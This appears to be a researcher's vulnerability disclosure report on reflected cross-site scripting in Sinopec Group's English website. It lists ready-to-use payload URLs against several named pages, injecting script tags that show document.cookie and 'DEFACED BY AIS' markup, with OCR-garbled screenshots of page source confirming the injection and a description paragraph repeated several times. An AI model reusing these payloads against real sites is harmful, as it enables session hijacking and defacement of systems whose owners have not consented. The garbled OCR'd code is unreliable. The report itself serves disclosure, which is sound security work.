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SINOPEC GROUP Multiple Vulnerabilities
S

Organization Sinopec Group
Final Report Nicholas Lemonias
Stakeholders Republic of China / State Council

Services Affected: http:/english.sinopec.com

Threat Level: High
Severity: High
CVSS Severity Score: 7.0

Impact type: Complete confidentiality, integrity and availability violation.

Vulnerability:

(1) Filtration Bypass
(4) Unauthenticated Cross-Site Scripting Vulnerabilities / HTML Injections

Vendor Overview

Sinopec Group is Asia’s largest oil refining and petrochemical enterprise, run by the State Council of
the People’s Republic of China. It is headquartered at Chaoyangmenwai, Beijing. Sinopec Group is the
largest company in the world by revenue, exceeding 1 trillion Chinese yuan per year. [1][2]
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Appendices

Proof of Concept Image | — SINOPEC GROUP
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Description

Application data utilizes in its output, user input that is not validated or properly encoded. Therefore the
application is vulnerable to an unauthenticated Cross-Site Scripting attack. Vulnerabilities that permit these
attacks, are widespread and persist anywhere a web application makes use of user-input without any security
validation controls. A malicious adversary can use this to compromise the trust of unsuspecting users, by
tricking them into visiting a seemingly benign and trusted site. The malicious payload is embedded within the
seeming benign URL. This way an attacker can steal user credentials, to hijack a user’s session, to force a
redirection to a third-party unsafe website, or to force a user’s browser to execute unsafe code on behalf of the
attacker. 31141
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Proof of Concept Image 2 — SINOPEC GROUP
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Proof of Concept I:

http://english.sinopec.com/investor center/share price/calendar.jsp?form=%27%22--
%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28%22A1S%20Corporation%22%29%3
C/scRipt%3E&ip=startDate&d=3

Proof of Concept 2:

http://english.sinopec.com/investor center/share price/calendar.jsp?form=%27%22--
%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28document.cookie%?29:%3C/scRipt%3E&ip=start
Date&d=3

Nicholas Lemonias - Advanced Information Security Corporation ©


http://english.sinopec.com/investor_center/share_price/calendar.jsp?form=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28%22AIS%20Corporation%22%29%3C/scRipt%3E&ip=startDate&d=3
http://english.sinopec.com/investor_center/share_price/calendar.jsp?form=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28%22AIS%20Corporation%22%29%3C/scRipt%3E&ip=startDate&d=3
http://english.sinopec.com/investor_center/share_price/calendar.jsp?form=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28%22AIS%20Corporation%22%29%3C/scRipt%3E&ip=startDate&d=3
http://english.sinopec.com/investor_center/share_price/calendar.jsp?form=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28document.cookie%29;%3C/scRipt%3E&ip=startDate&d=3
http://english.sinopec.com/investor_center/share_price/calendar.jsp?form=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28document.cookie%29;%3C/scRipt%3E&ip=startDate&d=3
http://english.sinopec.com/investor_center/share_price/calendar.jsp?form=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28document.cookie%29;%3C/scRipt%3E&ip=startDate&d=3

Web Application Security Report 5|Page

Code Snippet

@ Source of: http://english.sinopec.com/investor_center/share_price/calendar.jsp?form="627%22--%3E%3C/ style%3E %3 C/scRipt %3E%3 Ch3 %3EDEFACED 9620 BY 3620 A1
Eile Edit View Help

<head>
{meta http—equiv="Content-Type” content="text/html; charset=gh2312">
¢link rel=stvlesheet href="/inc/calendar. css” style="text/css™>
{script language=JavaScriptl.?2 sre="/inc/public. js"»<{/script>
<{gcript language=JavaScriptl. 2 src="/inc/functions. js"></script>
</head>
{table width="100%" border="0" cellspacing="1" cellpadding="0""

<tr align="center”>

<td bgecolor="#FFaD0OC">

%a href="calendar. jsp?d=2015-01-09&Fform=""——></style><{/scRipt><h3>DEFACED BY AIS</h3>!
2015E2H

<{a href="calendar. jsp?d=2015-03-09&form=""——></style></scRipt»<h3>DEFACED BY AIS</h3:&ip=
<frdr

St

<tr align="center” bgcolor="#000000"

<td height="5"></td>

LSty

<{tr align="center”>

<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#EFEGEL">

<tr align="center”>

<ID>H</TD>

{TD>—</TD>
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Proof of Concept Image 3 — SINOPEC GROUP
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Description

Application data utilizes in its output, user input that is not validated or properly encoded. Therefore the
application is vulnerable to an unauthenticated Cross-Site Scripting attack. Vulnerabilities that permit these
attacks, are widespread and persist anywhere a web application makes use of user-input without any security
validation controls. A malicious adversary can use this to compromise the trust of unsuspecting users, by
tricking them into visiting a seemingly benign and trusted site. The malicious payload is embedded within the
seeming benign URL. This way an attacker can steal user credentials, to hijack a user’s session, to force a
redirection to a third-party unsafe website, or to force a user’s browser to execute unsafe code on behalf of the
attacker. 3][4]

Proof of Concept

http://english.sinopec.com/download/video/player.jsp?path=%27%22--
%3E%3C/SCRIPT%3E%3Ch3%3EDEFACED BY AlIS%3C/h3%3E%3C/script%3E
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Code Snippet

@ Source of: http://english.sinopec.com/download/video/player.jsp?path=%27%22--%3E%3C/... El@
File Edit Yiew Help

ad>
{titler{/title>
iead>
1y
{div id="container " »<{script type="text/javascript” src="/imazes/swfobiec
+ 51 = new SWFObject (”/images/mediaplaver. swf”, "mediaplayer”, “5007, 4007, “77) _
addParam(”allowful lscreen”, “true”) ]
addParam(”allowscriptaccess”, “always”)
addVariable(“width”, “500) ;
addVariable(“height”, “400%)

(
addVariable("file”, ™ “—><{/style>{/scRipt><html ><body><h3>DEFACED BY AIS<
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Proof of Concept Image 4 — SINOPEC GROUP
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Description

Application data utilizes in its output, user input that is not validated or properly encoded. Therefore the
application is vulnerable to an unauthenticated Cross-Site Scripting attack. Vulnerabilities that permit these
attacks, are widespread and persist anywhere a web application makes use of user-input without any security
validation controls. A malicious adversary can use this to compromise the trust of unsuspecting users, by
tricking them into visiting a seemingly benign and trusted site. The malicious payload is embedded within the
seeming benign URL. This way an attacker can steal user credentials, to hijack a user’s session, to force a
redirection to a third-party unsafe website, or to force a user’s browser to execute unsafe code on behalf of the
attacker. 3] [4]

Proof of Concept

http://english.sinopec.com/investor center/share price/calendar.jsp?form=stock form&ip=%27%22--
%3E%3C/style%3E%3Ch3%3EAIS%20WAS%20HERE
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Code Snippet

@ Source of: htp://english.sinopec.com/investor,_center/share_price/calendar jsp orm=stock formBlip="e27%22--%3E%3C/style*AEChAEAISHAOWASIROHERE - . | = | & [
File Edit View Help

stock furl_r.f N/ styler<h3rAIS WAS HERE>{img sre="/images/narrow. gif” width="18" height="20" align="dhsniddle” bords
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Proof of Concept Image 5 — SINOPEC GROUP
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AIS was Here

" onclick="setlLastMousePosition(event)"
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2015-01-21
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1" onclick="setlastMousePosition{event)"

tabindex="3"> v|(ww-mm-dd]

Description

Application data utilizes in its output, user input that is not validated or properly encoded. Therefore the
application is vulnerable to an unauthenticated Cross-Site Scripting attack. Vulnerabilities that permit these
attacks, are widespread and persist anywhere a web application makes use of user-input without any security
validation controls. A malicious adversary can use this to compromise the trust of unsuspecting users, by
tricking them into visiting a seemingly benign and trusted site. The malicious payload is embedded within the
seeming benign URL. This way an attacker can steal user credentials, to hijack a user’s session, to force a
redirection to a third-party unsafe website, or to force a user’s browser to execute unsafe code on behalf of the
attacker. 3]4]

Proof of Concept

http://english.sinopec.com//investor center/share price/historyQuery.jsp?doSearch=true&d=""--
></script><h3>AISWas
Here</h3>&yearstart=3&monthstart=3&daystart=3&yearend=3&monthend=3&dayend=3&range=3
&startDate=2000-10-19&endDate=2015-01-21&Submit2=search&gid=1
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Code Snippet

=N R =>4

°@| (& rtDate=2000-10-19&endDate=2015-01-21 &Submit2=search&gid=1 O ~ & ” & Welcome to Sinopec X | i i\,\? {§}
File Edit View Favorites Tools Help
b e:jﬁetmorefdld—onsv & A * = @ v Page~ Safety~ Tools~w @v
2001-09-24 14.30 14.50 14.26 1445 55600 A
(=& =
°|{\=>:l| @ http://english.sinopec.com//investor_center/share_price/historyQu @ = & ” @ Welcome to Sinopec s | {]ﬁ ?,A\? E:Z%
File Edit View Favorites Tools Help
= aﬁetmorefuld—onsv ﬁ B = @ Page = Safety v Tools = @v
a http://english.sinopec.com//investor_center/share_price/historyQuery.jsp?doSearch=true8d=""--> </script> <body>... EIE A
File Edit Format
143 <Jtr> p H Sinopec Group
144 <tre
145 <td align="left"»Start Date:</tdr<td><input maxlength=18 size=12 Searchl
name=startDate value=280@-18-19 id=startDate>
146 <a href="JavaScript: openlLookup('calendar.jsp?
[ T——— form=stock_form@ip=startDatedd '“——>(Iscript>(body)<h3>ﬁ15 was HEFE(fh3>(Ibody>')“ .
onclick="setlastMousePosition(eveEn img on-calender.gif” .
width="34" height="21" align="absmiddle" border=8></a>(yyyy-mm- dd)(J’td)(td)&nbsp,(ftd)(ftr‘)(tr‘)(td I Share Price
align="left">End Date:</td><tdr<input maxlength=18 size=12 name=endDate value=2815-81-21> <a
Fact Sheet href="JavaScript: openlookup('calendar.jsp?form=stock_form&ip=endDateddd' "--></script><body><h3>AT5] A share 5.69
|was Here</h3»</body>"}"| onclick="setlLastMousePosition(event)” tabindex="3"> <img
<= Corporate Gov src="/images/button-calender.gif" width="34" height="21" align="absmiddle"” border=8></a:(yyyy-mm- H =hara 6.13
dd)</td><td align="left"»<input type="submit™ name="Submit2" value="search"/»</td»</tr></tbody>
Share Price <ftable></td></tr></thody></tabler</tr><try<td bgcolor="#FFFFFF">&nbsp;</td></tr></tabler<table ADR 79.04
border="8" cellspacing="@" cellpadding="8"><tr><td»<img src="/images/space.gif" width="8"
) height="8" /»</td»</trr</tabler<table border="0" cellspacing="0" cellpadding="@"><tr><td><img Dala delayed sl l=a
Operational Inf src="/images/space.gif"” width="8" height="8" /></td></tr></table></td><td width="8"><img ;’H*ﬂlg"dfgl
src="/images/space.gif" width="1" height="1" /></td><td width="198" valign="top"><table border="8" upplied by
Reporis cellspacing="0" cellpadding="@"»<tr><td><img src="/images/space.gif” width="8" height="18" /></td>
<ftre</table><table border="0" cellspacing="1" cellpadding="0" width="180%" bgcolor="#e5e5e5">
) <thody»<tr><td class="home-stork-bg"><img style="PADDING-BOTTOM: @px; MARGIN: @px; PADDING-LEFT:
< Presentation @px; PADDING-RIGHT: @px; DISPLAY: block; PADDING-TOP: @px” alt="" =
sre="http://teols.eurcland. com/teols/ticker/?companycode=cn-snplamp; e=newdamp; lang=en-gh" /></td> El
< General Meetir| o/tr>¢/thody></table><! --table cellspacing="8" cellpadding="4" width="188%" border="8"
class="insite-tittle-bg">
- 147 <tbody>
Dividends 148 <t
Sinopec & NY3 i:g <:: c}ass:ttxi-gra-i: a}:i.gn:::ie;:Erizwigt?;;tw%">Shanghai<ftd>
Govemance R D A o (o e et R Cbetyqn o1e_mn Announc
151 <td class="txt-gra-12" align="left" width="38%"><img height="11" alt=
width="7" align="absMiddle" src="/images/stork-arrow-up.gif" /> @.1@</td> - A
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